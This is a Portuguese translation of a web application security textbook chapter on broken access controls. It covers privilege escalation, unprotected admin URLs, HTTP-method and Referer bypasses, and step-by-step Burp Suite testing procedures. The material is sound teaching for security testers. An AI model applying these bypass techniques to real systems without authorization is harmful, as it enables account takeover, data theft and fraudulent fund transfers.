Em muitos casos, os controles de acesso vertical e horizontal estão interligados. Por exemplo, um aplicativo de planejamento de recursos empresariais pode permitir que cada funcionário de contas a pagar pague faturas para uma unidade organizacional específica e nenhuma outra. O gerente de contas a pagar, por outro lado, pode ter permissão para pagar faturas de qualquer unidade. Da mesma forma, os funcionários podem pagar faturas de pequenos valores, mas as faturas maiores devem ser pagas pelo gerente. O diretor financeiro pode visualizar os pagamentos e recebimentos de faturas de todas as unidades organizacionais da empresa, mas pode não ter permissão para pagar nenhuma fatura.

Os controles de acesso são violados se qualquer usuário puder acessar funcionalidades ou recursos para os quais não está autorizado. Há três tipos principais de ataques contra controles de acesso, correspondentes às três categorias de controles:

- **O escalonamento vertical de privilégios** ocorre quando um usuário pode executar funções que a função que lhe foi atribuída não permite. Por exemplo, se um usuário comum puder executar funções administrativas, ou se um funcionário puder pagar faturas de qualquer tamanho, os controles de

acesso estarão quebrados.

- **O escalonamento horizontal de privilégios** ocorre quando um usuário pode visualizar ou modificar recursos aos quais não tem direito. Por exemplo, se você puder usar um aplicativo de webmail para ler o e-mail de outras pessoas ou se um funcionário de pagamentos puder processar faturas para uma unidade organizacional diferente da sua, os controles de acesso estão quebrados.
- **A exploração da lógica comercial** ocorre quando um usuário pode explorar uma falha na máquina de estado do aplicativo para obter acesso a um recurso importante. Por exemplo, um usuário pode ser capaz de ignorar a etapa de pagamento em uma sequência de checkout de compras.

É comum encontrar casos em que a vulnerabilidade na separação horizontal de privilégios do aplicativo pode levar imediatamente a um ataque de escalonamento vertical. Por exemplo, se um usuário encontrar uma maneira de definir a senha de um usuário diferente, ele poderá atacar uma conta administrativa e assumir o controle do aplicativo.

Nos casos descritos até agora, os controles de acesso quebrados permitem que os usuários que se autenticaram no aplicativo em um determinado contexto de usuário executem ações ou acessem dados para os quais esse contexto não os autoriza. No entanto, nos casos mais graves de controle de acesso quebrado, pode ser possível que usuários completamente não autorizados obtenham acesso a funcionalidades ou dados que deveriam ser acessados somente por usuários autenticados privilegiados.

Funcionalidade totalmente desprotegida

Em muitos casos de controles de acesso quebrados, a funcionalidade e os recursos confidenciais podem ser acessados por qualquer pessoa que conheça o URL relevante. Por exemplo, com muitos aplicativos, qualquer pessoa que visite um URL específico pode fazer uso total de suas funções administrativas:

```
https://wahh-app.com/admin/
```

Nessa situação, o aplicativo normalmente impõe o controle de acesso apenas na seguinte medida: os usuários que fizeram login como administradores veem um link para esse URL na interface do usuário, e os outros usuários não. Essa diferença cosmética é o único mecanismo existente para "proteger" a funcionalidade sensível contra o uso não autorizado.

Às vezes, o URL que concede acesso a funções avançadas pode ser menos fácil de adivinhar e pode até ser bastante enigmático:

```
https://wahh-app.com/menus/secure/ff457/DoAdminMenu2.jsp
```

Aqui, o acesso às funções administrativas é protegido pela suposição de que um invasor não saberá ou descobrirá esse URL. O aplicativo é mais difícil de ser comprometido por um estranho, pois é menos provável que ele adivinhe o URL pelo qual pode fazer isso.

MITO COMUM

"Nenhum usuário com poucos privilégios conhecerá esse URL. Não fazemos referência a ele em nenhum lugar do aplicativo."

A ausência de qualquer controle de acesso genuíno ainda constitui uma vulnerabilidade grave, independentemente da facilidade de adivinhar o URL. Os URLs não têm o status de segredos, seja no próprio aplicativo ou nas mãos de seus usuários. Elas são exibidas na tela e aparecem nos históricos do navegador e nos registros de servidores da Web e servidores proxy. Os usuários podem anotá-las, marcá-las como favoritas ou enviá-las por e-mail. Em geral, elas não são alteradas periodicamente, como deve ser feito com as senhas. Quando os usuários mudam de função e seu acesso à funcionalidade administrativa precisa ser retirado, não há como excluir seu conhecimento de um determinado URL.

Em alguns aplicativos em que a funcionalidade sensível está oculta por trás de URLs que não são fáceis de adivinhar, um invasor pode ser capaz de identificá-los por meio de uma inspeção minuciosa do código do lado do cliente. Muitos aplicativos usam JavaScript para criar a interface do usuário dinamicamente no cliente. Normalmente, isso funciona definindo vários sinalizadores relacionados ao status do usuário e, em seguida, adicionando elementos individuais à interface do usuário com base nesses sinalizadores:

```
var isAdmin = false;
...
Se (isAdmin)
{
    adminMenu.addItem("/menus/secure/ff457/addNewPortalUser2.jsp", "create a
        new user");
}
```

Nesse caso, um invasor pode simplesmente analisar o JavaScript para identificar URLs para funcionalidade administrativa e tentar acessá-los. Em outros casos, os comentários HTML podem conter referências ou pistas sobre URLs que não estão vinculados ao conteúdo na tela. O Capítulo 4 discute as várias técnicas pelas quais um invasor pode coletar informações sobre conteúdo oculto no aplicativo.

Acesso direto aos métodos

Um caso específico de funcionalidade desprotegida pode surgir quando os aplicativos expõem URLs ou parâmetros que são, na verdade, invocações remotas de métodos de API, normalmente aqueles expostos por uma interface Java. Isso geralmente ocorre quando o código do lado do servidor é movido para um componente de extensão do navegador e os stubs de método são criados para que o código ainda possa chamar os métodos do lado do servidor necessários para funcionar. Fora dessa situação, algumas instâncias de acesso direto a métodos podem ser identificadas quando URLs ou parâmetros usam as convenções de nomenclatura Java padrão, como `getBalance` e `isExpired`.

Em princípio, as solicitações que especificam uma API no lado do servidor a ser executada não precisam ser menos seguras do que aquelas que especificam um script no lado do servidor ou outro recurso. Na prática, porém, esse tipo de mecanismo frequentemente contém vulnerabilidades. Muitas vezes, o cliente interage diretamente com os métodos de API do lado do servidor e ignora os controles normais do aplicativo sobre o acesso ou vetores de entrada inesperados. Há também a possibilidade de que exista outra funcionalidade que possa ser invocada dessa forma e que não esteja protegida por nenhum controle, partindo do pressuposto de que nunca poderia ser invocada diretamente por clientes de aplicativos Web. Muitas vezes, é necessário fornecer aos usuários acesso a determinados métodos específicos, mas, em vez disso, eles recebem acesso a todos os métodos. Isso ocorre porque o desenvolvedor não está totalmente ciente de qual subconjunto de métodos deve fazer proxy e fornece acesso a todos os métodos, ou porque a API usada para mapeá-los para o servidor HTTP fornece acesso a todos os métodos por padrão.

O exemplo a seguir mostra o método `getCurrentUserRoles` sendo invocado a partir da interface `securityCheck`:

```
http://wahh-app.com/public/securityCheck/getCurrentUserRoles
```

Neste exemplo, além de testar os controles de acesso sobre o método `getCurrentUserRoles`, você deve verificar a existência de outros métodos com nomes semelhantes, como `getAllUserRoles`, `getAllRoles`, `getAllUsers` e `getCurrentUserPermissions`. Outras considerações específicas sobre o teste de acesso direto a métodos são descritas mais adiante neste capítulo.

Funções baseadas em identificadores

Quando uma função de um aplicativo é usada para obter acesso a um recurso específico, é comum ver um identificador do recurso solicitado sendo passado para o servidor em um parâmetro de solicitação, na cadeia de caracteres de consulta do URL ou no corpo de uma solicitação `POST`. Por exemplo, um aplicativo pode usar o seguinte URL para exibir um documento específico pertencente a um determinado usuário:

```
https://wahh-app.com/ViewDocument.php?docid=1280149120
```

Quando o usuário que possui o documento está conectado, um link para esse URL é exibido na página My Documents do usuário. Outros usuários não veem o link. No entanto, se os controles de acesso forem interrompidos, qualquer usuário que solicitar o URL relevante poderá visualizar o documento exatamente da mesma forma que o usuário autorizado.

DICA Esse tipo de vulnerabilidade geralmente surge quando o aplicativo principal interage com um sistema externo ou componente de back-end. Pode ser difícil compartilhar um modelo de segurança baseado em sessão entre sistemas diferentes que podem ser baseados em tecnologias diferentes. Diante desse problema, os desenvolvedores frequentemente tomam um atalho e se afastam desse modelo, usando parâmetros enviados pelo cliente para tomar decisões de

controle de acesso.

Nesse exemplo, um invasor que deseja obter acesso não autorizado precisa saber não apenas o nome da página do aplicativo (`ViewDocument.php`), mas também o identificador do documento que deseja visualizar. Às vezes, os identificadores de recursos são gerados de maneira altamente imprevisível; por exemplo, eles podem ser GUIDs escolhidos aleatoriamente. Em outros casos, eles podem ser facilmente adivinhados; por exemplo, podem ser números gerados sequencialmente. No entanto, o aplicativo é vulnerável em ambos os casos. Conforme descrito anteriormente, os URLs não têm o status de segredos, e o mesmo se aplica aos identificadores de recursos. Geralmente, um invasor que deseja descobrir os identificadores dos recursos de outros usuários pode encontrar algum local no aplicativo que os divulgue, como os logs de acesso. Mesmo quando os identificadores de recursos de um aplicativo não puderem ser facilmente adivinhados, o aplicativo ainda estará vulnerável se não controlar adequadamente o acesso a esses recursos. Nos casos em que os identificadores são facilmente previstos, o problema é ainda mais grave e mais facilmente explorado.

DICA Os logs de aplicativos costumam ser uma mina de ouro de informações. Eles podem conter vários itens de dados que podem ser usados como identificadores para sondar a funcionalidade que é acessada dessa forma. Os identificadores normalmente encontrados nos logs de aplicativos incluem nomes de usuário, números de ID de usuário, números de conta, IDs de documentos, grupos e funções de usuários e endereços de e-mail.

OBSERVAÇÃO Além de ser usado como referência a recursos baseados em dados dentro do aplicativo, esse tipo de identificador é frequentemente usado para se referir a funções do próprio aplicativo. Como você viu no Capítulo 4, um aplicativo pode fornecer diferentes funções por meio de uma única página, que aceita um nome ou identificador de função como parâmetro. Novamente, nessa situação, os controles de acesso podem não ser mais profundos do que a presença ou ausência de URLs específicos nas interfaces de diferentes tipos de usuários. Se um invasor puder determinar o identificador de uma função sensível, ele poderá acessá-la da mesma forma que um usuário mais privilegiado.

Funções de vários estágios

Muitos tipos de funções em um aplicativo são implementados em vários estágios, o que envolve o envio de várias solicitações do cliente para o servidor. Por exemplo, uma função para adicionar um novo usuário pode envolver a escolha dessa opção em um menu de manutenção do usuário, a seleção do departamento e da função do usuário em listas suspensas e a inserção do novo nome de usuário, da senha inicial e de outras informações.

É comum encontrar aplicativos em que foram feitos esforços para proteger esse tipo de funcionalidade sensível contra o acesso não autorizado, mas em que os controles de acesso empregados são quebrados devido a suposições falhas sobre como a funcionalidade será usada.

No exemplo anterior, quando um usuário tenta carregar o menu de manutenção do usuário e escolhe a opção de adicionar um novo usuário, o aplicativo pode verificar se o usuário tem os privilégios necessários e bloquear o acesso se não tiver. No entanto, se um invasor passar diretamente para a etapa de especificação do departamento do usuário e de outros detalhes, pode não haver um controle de acesso eficaz. Os desenvolvedores inconscientemente presumiram que qualquer usuário que alcançasse os estágios posteriores do processo deveria ter os privilégios relevantes porque isso foi verificado nos estágios anteriores. O resultado é que qualquer usuário do aplicativo pode adicionar uma nova conta de usuário administrativo e, assim, assumir o controle total do aplicativo, obtendo acesso a muitas outras funções cujo controle de acesso é intrinsecamente robusto. Os autores encontraram esse tipo de vulnerabilidade até mesmo nos aplicativos da Web mais críticos para a segurança - aqueles implantados por bancos on-line. Fazer uma transferência de fundos em um aplicativo bancário geralmente envolve vários estágios, em parte para evitar que os usuários cometam erros acidentais ao solicitar uma transferência. Esse processo de vários estágios envolve a captura de diferentes itens de dados do usuário em cada estágio. Esses dados são verificados minuciosamente quando enviados pela primeira vez e, em seguida, geralmente são passados para cada estágio subsequente, usando campos ocultos no formulário HTML. No entanto, se o aplicativo não revalidar todos esses dados no estágio final, um invasor poderá contornar as verificações do servidor. Por exemplo, o aplicativo pode verificar se a conta de origem selecionada para a transferência pertence ao usuário atual e, em seguida, solicitar detalhes sobre a conta de destino e o valor da transferência. Se um usuário interceptar a solicitação `POST` final desse processo e modificar o número da conta de origem, ele poderá executar um privilégio horizontal escalonamento e transferência de fundos de uma conta pertencente a um usuário diferente.

Arquivos estáticos

Na maioria dos casos, os usuários obtêm acesso à funcionalidade e aos recursos protegidos emitindo solicitações para páginas dinâmicas que são executadas no servidor. É responsabilidade de cada uma dessas páginas executar verificações de controle de acesso adequadas e confirmar que o usuário tem os privilégios relevantes para executar a ação que está tentando realizar. Entretanto, em alguns casos, as solicitações de recursos protegidos são feitas diretamente aos próprios recursos estáticos, que estão localizados na raiz da Web do servidor. Por exemplo, um editor on-line pode permitir que os usuários pesquisem seu catálogo de livros e comprem e-books para download. Uma vez efetuado o pagamento, o usuário é direcionado para um URL de download como o seguinte:

```
https://wahh-books.com/download/9780636628104.pdf
```

Como esse é um recurso totalmente estático, se estiver hospedado em um servidor da Web tradicional, seu conteúdo será simplesmente retornado diretamente pelo servidor, e nenhum código de nível de aplicativo será executado. Portanto, o recurso não pode implementar nenhuma lógica para verificar

que o usuário solicitante tem os privilégios necessários. Quando recursos estáticos são acessados dessa forma, é muito provável que nenhum controle de acesso eficaz os proteja e que qualquer pessoa que conheça o esquema de nomenclatura de URL possa explorar isso para acessar os recursos que desejar. No presente caso, o nome do documento se parece suspeitamente com um ISBN, o que permitiria que um invasor baixasse rapidamente todos os e-books produzidos pela editora!

Certos tipos de funcionalidade são particularmente propensos a esse tipo de problema, incluindo sites financeiros que fornecem acesso a documentos estáticos sobre empresas, como relatórios anuais, fornecedores de software que fornecem binários para download e funcionalidade administrativa que fornece acesso a arquivos de registro estáticos e outros dados confidenciais coletados no aplicativo.

Configuração incorreta da plataforma

Alguns aplicativos usam controles no servidor da Web ou na camada da plataforma de aplicativos para controlar o acesso. Normalmente, o acesso a caminhos de URL especificados é restrito com base na função do usuário no aplicativo. Por exemplo, o acesso ao caminho `/admin` pode ser negado a usuários que não estejam no grupo Administradores. Em princípio, esse é um meio totalmente legítimo de controlar o acesso. No entanto, erros cometidos na configuração dos controles no nível da plataforma podem, muitas vezes, permitir a ocorrência de acesso não autorizado.

A configuração em nível de plataforma normalmente assume a forma de regras que são semelhantes às regras de política de firewall, que permitem ou negam o acesso com base no seguinte:

- Método de solicitação HTTP
- Caminho do URL
- Função do usuário

Conforme descrito no Capítulo 3, o objetivo original do método `GET` é recuperar informações, e o objetivo do método `POST` é executar ações que alterem os dados ou o estado do aplicativo.

Se não for tomado o cuidado de criar regras que permitam o acesso com precisão com base nos métodos HTTP e caminhos de URL corretos, isso poderá levar a um acesso não autorizado. Por exemplo, se uma função administrativa para criar um novo usuário usar o método `POST`, a plataforma poderá ter uma regra de negação que não permita o método `POST` e permita todos os outros métodos. No entanto, se o código no nível do aplicativo não verificar se todas as solicitações para essa função estão de fato usando o método `POST`, um invasor poderá contornar o controle enviando a mesma solicitação usando o método `GET`. Como a maioria das APIs em nível de aplicativo para recuperar parâmetros de solicitação é agnóstica quanto ao método de solicitação, o invasor pode simplesmente inserir os parâmetros necessários na string de consulta de URL da solicitação `GET` para fazer uso não autorizado da função.

O que é mais surpreendente, à primeira vista, é que os aplicativos ainda podem ser vulneráveis mesmo que a regra em nível de plataforma negue acesso aos métodos `GET` e `POST`. Isso acontece porque as solicitações que usam outros métodos HTTP podem ser tratadas pelo mesmo código de aplicativo que trata as solicitações `GET` e `POST`. Um exemplo disso é o método `HEAD`. De acordo com as especificações, os servidores devem responder a uma solicitação `HEAD` com os mesmos cabeçalhos que usariam para responder à solicitação `GET` correspondente, mas sem o corpo da mensagem. Portanto, a maioria das plataformas atende corretamente às solicitações `HEAD` executando o manipulador `GET` correspondente e apenas retorna os cabeçalhos HTTP que são gerados. As solicitações `GET` podem ser usadas com frequência para executar ações confidenciais, seja porque o próprio aplicativo usa solicitações `GET` para essa finalidade (contrariando as especificações) ou porque não verifica se o método `POST` está sendo usado. Se um invasor puder usar uma solicitação `HEAD` para adicionar uma conta de usuário administrativo, ele poderá viver sem receber nenhum corpo de mensagem na resposta.

Em alguns casos, as plataformas lidam com solicitações que usam métodos HTTP não reconhecidos, simplesmente passando-os para o manipulador de solicitações `GET`. Nessa situação, os controles de nível de plataforma que apenas negam determinados métodos HTTP especificados podem ser contornados pela especificação de um método HTTP inválido arbitrário na solicitação.

O Capítulo 18 contém um exemplo específico desse tipo de vulnerabilidade que surge em um produto de plataforma de aplicativos da Web.

Métodos de controle de acesso inseguro

Alguns aplicativos empregam um modelo de controle de acesso fundamentalmente inseguro, no qual as decisões de controle de acesso são tomadas com base nos parâmetros de solicitação enviados pelo cliente ou em outras condições que estão sob o controle de um invasor.

Controle de acesso baseado em parâmetros

Em algumas versões desse modelo, o aplicativo determina a função ou o nível de acesso de um usuário no momento do login e, a partir desse momento, transmite essas informações por meio do cliente em um campo de formulário oculto, cookie ou parâmetro de string de consulta predefinido (consulte o Capítulo 5). Quando cada solicitação subsequente é processada, o aplicativo lê esse parâmetro de solicitação e decide qual acesso deve ser concedido ao usuário.

Por exemplo, um administrador que usa o aplicativo pode ver URLs como os seguintes:

```
https://wahh-app.com/login/home.jsp?admin=true
```

Os URLs vistos por usuários comuns contêm um parâmetro diferente, ou nenhum. Qualquer usuário que esteja ciente do parâmetro atribuído aos administradores pode simplesmente defini-lo em suas próprias solicitações e, assim, obter acesso às funções administrativas.

Às vezes, pode ser difícil detectar esse tipo de controle de acesso sem realmente usar o aplicativo como um usuário com privilégios elevados e identificar quais solicitações são feitas. As técnicas descritas no Capítulo 4 para descobrir parâmetros de solicitação ocultos podem ser bem-sucedidas na descoberta do mecanismo quando se trabalha apenas como um usuário comum.

Controle de acesso baseado em referência

Em outros modelos de controle de acesso inseguro, o aplicativo usa o cabeçalho HTTP `Referer` como base para tomar decisões de controle de acesso. Por exemplo, um aplicativo pode controlar estritamente o acesso ao menu administrativo principal com base nos privilégios de um usuário. Mas quando um usuário faz uma solicitação para uma função administrativa individual, o aplicativo pode simplesmente verificar se essa solicitação foi encaminhada da página do menu administrativo. Ele pode presumir que o usuário deve ter acessado essa página e, portanto, tem os privilégios necessários. Esse modelo está fundamentalmente quebrado, é claro, porque o cabeçalho `Referer` está totalmente sob o controle do usuário e pode ser definido com qualquer valor.

Controle de acesso baseado em localização

Muitas empresas têm um requisito regulamentar ou comercial para restringir o acesso a recursos dependendo da localização geográfica do usuário. Isso não se limita ao setor financeiro, mas inclui serviços de notícias e outros. Nessas situações, uma empresa pode empregar vários métodos para localizar o usuário, sendo que o mais comum é a geolocalização do endereço IP atual do usuário.

Os controles de acesso baseados em localização são relativamente fáceis de serem contornados por um invasor. Aqui estão alguns métodos comuns para contorná-los:

- Usar um proxy da Web baseado no local necessário
- Usar uma VPN que termina no local necessário
- Usar um dispositivo móvel compatível com roaming de dados
- Manipulação direta de mecanismos do lado do cliente para geolocalização

Ataque aos controles de acesso

Antes de começar a sondar o aplicativo para detectar quaisquer vulnerabilidades reais de controle de acesso, você deve reservar um momento para analisar os resultados dos exercícios de mapeamento do aplicativo (consulte o Capítulo 4). Você precisa entender quais são os requisitos reais do aplicativo em termos de controle de acesso e, portanto, onde provavelmente será mais proveitoso concentrar sua atenção.

ETAPAS DO HACK

Aqui estão algumas perguntas a serem consideradas ao examinar os controles de acesso de um aplicativo:

1. As funções do aplicativo dão aos usuários individuais acesso a um subconjunto específico de dados que lhes pertence?
2. Existem diferentes níveis de usuários, como gerentes, supervisores, convidados, etc., que têm acesso a diferentes funções?
3. Os administradores usam a funcionalidade incorporada ao mesmo aplicativo para configurá-lo e monitorá-lo?
4. Quais funções ou recursos de dados dentro do aplicativo você identificou que provavelmente permitiriam que você aumentasse seus privilégios atuais?
5. Há algum identificador (por meio de parâmetros de URL da mensagem do corpo do **POST**) que sinalize que um parâmetro está sendo usado para rastrear os níveis de acesso?

Testes com diferentes contas de usuário

A maneira mais fácil e eficaz de testar a eficácia dos controles de acesso de um aplicativo é acessá-lo usando contas diferentes. Dessa forma, é possível determinar se os recursos e a funcionalidade que podem ser acessados legitimamente por uma conta podem ser acessados ilegitimamente por outra.

ETAPAS DO HACK

1. Se o aplicativo segregar o acesso do usuário a diferentes níveis de funcionalidade, primeiro use uma conta poderosa para localizar toda a funcionalidade disponível. Em seguida, tente acessá-la usando uma conta com privilégios mais baixos para testar o escalonamento vertical de privilégios.
2. Se o aplicativo segregar o acesso do usuário a diferentes recursos (como documentos), use duas contas de nível de usuário diferentes para testar se os controles de acesso são eficazes ou se o escalonamento horizontal de privilégios é possível. Por exemplo, encontre um documento que possa ser acessado legitimamente por um usuário, mas não por outro, e tente acessá-lo usando a conta do segundo usuário - solicitando o URL relevante ou enviando os mesmos parâmetros **POST** de dentro da sessão do segundo usuário.

Testar minuciosamente os controles de acesso de um aplicativo é um processo demorado. Felizmente, algumas ferramentas podem ajudá-lo a automatizar parte do trabalho envolvido, para tornar os testes mais rápidos e confiáveis. Isso permitirá que você se concentre nas partes da tarefa que exigem inteligência humana para serem executadas com eficácia.

O Burp Suite permite mapear o conteúdo de um aplicativo usando dois contextos de usuário diferentes. Em seguida, é possível comparar os resultados para ver exatamente onde o conteúdo acessado por cada usuário é igual ou diferente.

ETAPAS DO HACK

1. Com o Burp configurado como proxy e a interceptação desativada, navegue por todo o conteúdo do aplicativo em um contexto de usuário. Se estiver testando controles de acesso verticais, use a conta de maior privilégio para isso.
2. Revise o conteúdo do mapa do site do Burp para garantir que você identificou todas as funcionalidades que deseja testar. Em seguida, use o menu de contexto para selecionar o recurso "compare site maps".
3. Para selecionar o segundo mapa do site a ser comparado, você pode carregá-lo de um arquivo de estado do Burp ou fazer com que o Burp solicite novamente, de forma dinâmica, o primeiro mapa do site em um novo contexto de sessão. Para testar controles de acesso horizontal entre usuários do mesmo tipo, basta carregar um arquivo de estado salvo anteriormente, tendo mapeado o aplicativo como um usuário diferente. Para testar controles de acesso verticais, é preferível solicitar novamente o mapa do site de alto privilégio como um usuário de baixo privilégio, pois isso garante a cobertura completa da funcionalidade relevante.
4. Para solicitar novamente o primeiro mapa do site em uma sessão diferente, é necessário configurar a funcionalidade de tratamento de sessão do Burp com os detalhes da sessão do usuário de baixo privilégio (por exemplo, gravando uma macro de login ou fornecendo um cookie específico a ser usado nas solicitações). Esse recurso é descrito em mais detalhes no Capítulo 14. Talvez você também precise definir regras de escopo adequadas para impedir que o Burp solicite qualquer função de logout.

A Figura 8-1 mostra os resultados de uma comparação simples de mapas do site. Sua análise colorida das diferenças entre os mapas do site mostra os itens que foram adicionados, removidos ou modificados entre os dois mapas. Para os itens modificados, a tabela inclui uma coluna "diff count", que é o número de edições necessárias para modificar o item do primeiro mapa para o item do segundo mapa. Além disso, quando um item é selecionado, as respostas também são coloridas para mostrar os locais dessas edições dentro das respostas.

A interpretação dos resultados da comparação do mapa do site requer inteligência humana e uma compreensão do significado e do contexto de funções específicas do aplicativo. Por exemplo, a Figura 8-1 mostra as respostas que são retornadas a cada usuário quando ele visualiza sua página inicial. As duas respostas mostram uma descrição diferente do usuário conectado, e o usuário administrativo tem um item de menu adicional. Essas diferenças são esperadas e são neutras quanto à eficácia dos controles de acesso do aplicativo, pois dizem respeito apenas à interface do usuário.

Figura 8-1: Uma comparação de mapa do site mostrando as diferenças entre o conteúdo que foi acessado em diferentes contextos de usuário

A Figura 8-2 mostra a resposta retornada quando cada usuário solicita a página de administração de nível superior. Aqui, o usuário administrativo vê um menu de opções disponíveis, enquanto o usuário comum vê uma mensagem de "não autorizado". Essas diferenças indicam que os controles de acesso estão sendo aplicados corretamente. A Figura 8-3 mostra a resposta retornada quando cada usuário solicita a função administrativa "list users" (listar usuários). Aqui, as respostas são idênticas, indicando que o aplicativo é vulnerável, pois o usuário comum não deve ter acesso a essa função e não tem nenhum link para ela em sua interface de usuário.

Simplesmente explorar a árvore do mapa do site e observar o número de diferenças entre os itens é insuficiente para avaliar a eficácia dos controles de acesso do aplicativo. Duas respostas idênticas podem indicar uma vulnerabilidade (por exemplo, em uma função administrativa que divulga informações confidenciais) ou podem ser inofensivas (por exemplo, em uma função de pesquisa desprotegida). Por outro lado, duas respostas diferentes ainda podem significar que existe uma vulnerabilidade (por exemplo, em uma função administrativa que retorna conteúdo diferente cada vez que é acessada) ou podem ser inofensivas (por exemplo, em uma página que mostra informações de perfil sobre o usuário conectado no momento). Por esses motivos, as ferramentas totalmente automatizadas geralmente não são eficazes na identificação de vulnerabilidades de controle de acesso. Usando a funcionalidade do Burp para comparar mapas de sites, você pode automatizar o máximo possível do processo, fornecendo todas as informações necessárias em um formulário pronto e permitindo que você aplique seu conhecimento da funcionalidade do aplicativo para identificar as vulnerabilidades reais.

Figura 8-2: O usuário com privilégios baixos não tem acesso à página de administração de nível superior

Figura 8-3: O usuário com pouco privilégio pode acessar a função administrativa para listar os usuários do aplicativo

EXPERIMENTE!

http://mdsec.net/auth/462/

http://mdsec.net/auth/468/

Teste de processos de vários estágios

A abordagem descrita na seção anterior - comparar o conteúdo do aplicativo quando acessado em diferentes contextos de usuário - é ineficaz ao testar alguns processos de vários estágios. Aqui, para executar uma ação, o usuário normalmente precisa fazer várias solicitações na sequência correta, com o aplicativo criando algum estado sobre as ações do usuário à medida que ele faz isso. Simplesmente solicitar novamente cada um dos itens em um mapa do site pode não conseguir replicar o processo corretamente, de modo que a tentativa de ação pode falhar por outros motivos que não o uso de controles de acesso.

Por exemplo, considere uma função administrativa para adicionar um novo usuário de aplicativo. Isso pode envolver várias etapas, incluindo o carregamento do formulário para adicionar um usuário, o envio do formulário com os detalhes do novo usuário, a revisão desses detalhes e a confirmação da ação. Em alguns casos, o aplicativo pode proteger o acesso ao formulário inicial, mas não proteger a página que lida com o envio do formulário ou a página de confirmação. O processo geral pode envolver várias solicitações, inclusive redirecionamentos, com parâmetros enviados em estágios anteriores sendo retransmitidos posteriormente pelo lado do cliente. Cada etapa desse processo precisa ser testada individualmente, para confirmar se os controles de acesso estão sendo aplicados corretamente.

EXPERIMENTE!

http://mdsec.net/auth/471/

ETAPAS DO HACK

1. Quando uma ação for executada em várias etapas, envolvendo várias solicitações diferentes do cliente para o servidor, teste cada solicitação individualmente para determinar se os controles de acesso foram aplicados a ela. Certifique-se de incluir todas as solicitações, inclusive os envios de formulários, os redirecionamentos a seguir e todas as solicitações não parametrizadas.
2. Tente encontrar qualquer local em que o aplicativo presuma efetivamente que, se você chegou a um determinado ponto, deve ter chegado por meios legítimos. Tente chegar a esse ponto de outras maneiras usando uma conta com privilégios mais baixos para detectar se é possível realizar algum ataque de escalonamento de privilégios.

Continuação

PASSOS DO HACKER *(CONTINUAÇÃO)*

3. Uma maneira de realizar esse teste manualmente é percorrer um processo protegido de vários estágios várias vezes em seu navegador e usar seu proxy para alternar o token de sessão fornecido em diferentes solicitações para o de um
usuário menos privilegiado.
4. Muitas vezes, você pode acelerar drasticamente esse processo usando o recurso de "solicitação no navegador" do Burp Suite:
   a. Use a conta com privilégios mais altos para percorrer todo o processo de vários estágios.
   b. Faça login no aplicativo usando a conta com menos privilégios (ou nenhuma).
   c. No histórico do Burp Proxy, localize a sequência de solicitações que foram feitas quando o processo de vários estágios foi executado como um usuário com mais privilégios. Para cada solicitação na sequência, selecione o item do menu de contexto "request in browser in current browser session" (solicitação no navegador na sessão atual do navegador), conforme mostrado na Figura 8-4. Cole o URL fornecido no navegador que está conectado como o usuário com privilégios mais baixos.
   d. Se o aplicativo permitir, siga o restante do processo de várias etapas da maneira normal, usando o navegador.
   e. Visualize o resultado no histórico do navegador e do proxy para determinar se a ação privilegiada foi executada com êxito.

Figura 8-4: Uso do Burp para solicitar um determinado item na sessão atual do navegador

Quando você seleciona o recurso "request in browser in current browser session" (solicitar no navegador na sessão atual do navegador) do Burp para uma solicitação especificada, o Burp fornece a você um URL exclusivo direcionado ao servidor da Web interno do Burp, que você cola na barra de endereços do navegador. Quando seu navegador solicita essa URL, a Burp retorna um redirecionamento para a URL originalmente especificada. Quando o navegador segue o redirecionamento, a Burp substitui a solicitação pela que você especificou originalmente, deixando o cabeçalho `Cookie` intacto. Se estiver testando diferentes contextos de usuário, é possível acelerar esse processo. Faça login em vários navegadores diferentes como usuários diferentes e cole o URL em cada navegador para ver como a solicitação é tratada para o usuário que está conectado usando esse navegador. (Observe que, como os cookies geralmente são compartilhados entre diferentes janelas do mesmo navegador, você normalmente precisará usar diferentes produtos de navegador ou navegadores em diferentes máquinas para realizar esse teste).

DICA Quando estiver testando processos de vários estágios em diferentes contextos de usuário, às vezes é útil analisar as sequências de solicitações feitas por diferentes usuários lado a lado para identificar diferenças sutis que possam merecer uma investigação mais aprofundada.
Se você estiver usando navegadores diferentes para acessar o aplicativo como usuários diferentes, poderá criar um ouvinte de proxy diferente no Burp para ser usado por cada navegador (é necessário atualizar a configuração do proxy em cada navegador para apontar para o ouvinte relevante). Em seguida, para cada navegador, use o menu de contexto no histórico do proxy para abrir uma nova janela de histórico e defina um filtro de exibição para mostrar somente as solicitações do ouvinte de proxy relevante.

Testes com acesso limitado

Se você tiver apenas uma conta de nível de usuário para acessar o aplicativo (ou nenhuma), será necessário realizar um trabalho adicional para testar a eficácia dos controles de acesso. De fato, para realizar um teste totalmente abrangente, é preciso trabalhar mais em qualquer caso. Pode haver uma funcionalidade mal protegida que não esteja explicitamente vinculada à interface de qualquer usuário do aplicativo. Por exemplo, talvez a funcionalidade antiga ainda não tenha sido removida ou a nova funcionalidade tenha sido implementada, mas ainda não tenha sido publicada para os usuários.

ETAPAS DO HACK

1. Use as técnicas de descoberta de conteúdo descritas no Capítulo 4 para identificar o máximo possível da funcionalidade do aplicativo. Ao fazer isso O exercício como um usuário com pouco privilégio geralmente é suficiente para enumerar e obter acesso direto a funcionalidades confidenciais.

Continuação

PASSOS DO HACK *(CONTINUAÇÃO)*

2. Quando forem identificadas páginas de aplicativos que possam apresentar funcionalidades ou links diferentes para usuários comuns e administrativos (por exemplo, Control Panel ou My Home Page), tente adicionar parâmetros como **`admin=true`** à string de consulta de URL e ao corpo das solicitações **`POST`**. Isso o ajudará a determinar se isso revela ou dá acesso a alguma funcionalidade adicional à qual o seu contexto de usuário tem acesso normal.
3. Teste se o aplicativo usa o cabeçalho **`Referer`** como base para tomar decisões de controle de acesso. Para as principais funções do aplicativo que você está autorizado a acessar, tente remover ou modificar o cabeçalho **`Referer`** e determine se a sua solicitação ainda é bem-sucedida. Caso contrário, o aplicativo pode estar confiando no cabeçalho **`Referer`** de uma forma insegura. Se você verificar as solicitações usando o verificador ativo do Burp, ele tentará remover o **`cabeçalho Referer`** de cada solicitação e informará se isso parece fazer uma diferença sistemática e relevante na resposta do aplicativo.
4. Revise todos os HTML e scripts do lado do cliente para encontrar referências a funcionalidades ocultas ou que possam ser manipuladas no lado do cliente, como interfaces de usuário baseadas em script. Além disso, descompile todos os componentes de extensão do navegador, conforme descrito no Capítulo 5, para descobrir quaisquer referências à funcionalidade do lado do servidor.

EXPERIMENTE!

```
http://mdsec.net/auth/477/
